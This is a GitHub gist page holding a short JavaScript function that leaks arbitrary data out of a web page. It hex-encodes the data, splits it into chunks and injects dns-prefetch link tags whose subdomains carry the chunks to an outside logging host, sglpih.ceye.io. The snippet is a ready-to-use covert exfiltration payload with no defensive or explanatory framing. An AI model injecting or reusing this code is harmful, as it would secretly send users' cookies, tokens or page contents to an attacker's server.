Skip to content

Instantly share code, notes, and snippets.

@mozhu1024
Last active February 27, 2025 06:35
Show Gist options
  • Select an option

  • Save mozhu1024/30bb56b5166cd0c7430ca32c93c9564a to your computer and use it in GitHub Desktop.

Select an option

Save mozhu1024/30bb56b5166cd0c7430ca32c93c9564a to your computer and use it in GitHub Desktop.

Revisions

  1. mozhu1024 renamed this gist Feb 27, 2025. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  2. mozhu1024 created this gist May 21, 2019.
    18 changes: 18 additions & 0 deletions send_data_by_dns_prefetch.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,18 @@
    function sendData(data, tag = "t") {
    if (data.length <= 0) {
    return;
    }
    // str2hex
    var val = "";
    var html = "";
    for (var i = 0; i < data.length; i++) {
    val += data.charCodeAt(i).toString(16);
    }
    // send bby dns-prefetch
    for (var j = 0; j < 100; j++) {
    var tt = val.substr(j * 48, 48);
    if (tt.length == 0) break;
    html += `<link rel="dns-prefetch" href="//${tag}_${j}_${tt}.sglpih.ceye.io">`;
    }
    document.head.innerHTML += html;
    }